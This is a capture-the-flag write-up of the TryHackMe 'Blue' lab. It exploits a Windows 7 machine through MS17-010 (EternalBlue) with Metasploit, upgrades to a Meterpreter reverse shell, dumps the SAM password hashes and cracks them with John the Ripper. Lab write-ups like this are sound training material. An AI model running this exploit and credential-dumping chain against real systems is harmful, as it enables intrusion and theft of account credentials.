Blue		
Organization: TryHackMe	Type: VM	
Categories:☐ Network Security ☑ Cryptography ☐ Mobile Applications ☐ Linux	☐ Reverse Engineering ☐ Web Applications ☐ Forensics ☑ Windows	Difficulty: Easy
Name: Kasper Verhulst	Release date: 17-03-2019 Completing date: 21-04-2021	

1 Reconnaissance

As usual, we start exploring our machine with nmap. We want to:

- check for OS with flag -O
- check for port 1-1000
- determine which versions of the services is running with -sV
- use flag –script vul to find vulnerabilities

```
$nmap -sS -O -p1-1000 -sV -v --script vuln 10.10.243.55
```

We see the machine is running:

Port	Service	Version
135/tcp open	msrpc	Microsoft Windows RPC
139/tcp open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp open	microsoft-ds	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

It looks like the machine is definitely a Windows server. The machine seems to be running NetBIOS and a version of SMB that is vulnerable to *ms17-010*.

2 Exploit

We use Metaspoit to exploit this bug. First, list the available exploits:

```
$msfconsole search ms17−010
```

which learns us we can use *exploit/windows/smb/ms17_010_eternalblue*. Find the configuration of the exploit running:

```
$msfconsole use exploit/windows/smb/ms17_010_eternalblue
$msfconsole options
$msfconsole set RHOSTS <BOX_IP>
$msfconsle set LHOST <VPN_IP>
$msfconsole run
```

We have access to the machine:

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.
All rights reserved. C:/Windows/system32 ¿
```

By running *whoami*, you can see the we have access as the *nt authority/system user*

3 Privilege Escalation

After we have access, we can replace our shell with Meterpreter WHY??. Background the current DOS shell with ctrl + Z. Select the Meterpreter exploit, check the required variables and run.

```
$ search meterpreter
$ use post/multi/manage/shell_to_meterpreter
$ info
$ sessions
$ set SESSION 1
$ run
```

This post exploit has openen a second reverse shell to the Windows box. Select the Meterpreter shell:

```
$ sessions -l
$ sessions 2
```

Now again have a reverse shell on the Windows box, but this time as meterpreter. Some more reconnsaissance:

```
$ sysinfo
```

```
Computer : JON-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
```

Now we need to migrate to a process that will have enough privileges:

```
$ getsystem
$ hashdump
```

```
$ getpid
$ ps
$ migrate -N winlogon.exe
```

We can find the following credentials:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

Windows stores still data under C:/windows/system32/config/SAM

4 Password cracking

After a bit of research, we can find Windows stores the passwords in the format User Name : RID: LM-HASH value : NT-HASH. You can see, the LM hash is the same for all three accounts. The string “aad3b435b51404eeaad3b435b51404ee” is the LM hash for ‘no password’. Maybe, the password is too long for LM or maybe this weak hashing scheme was disabled. Anyway we ’ll have to look at the NT hash. We could for instance use Joh the Ripper.

```
$john --format=NT passwords.txt
$john --format=NT passwords.txt --show
```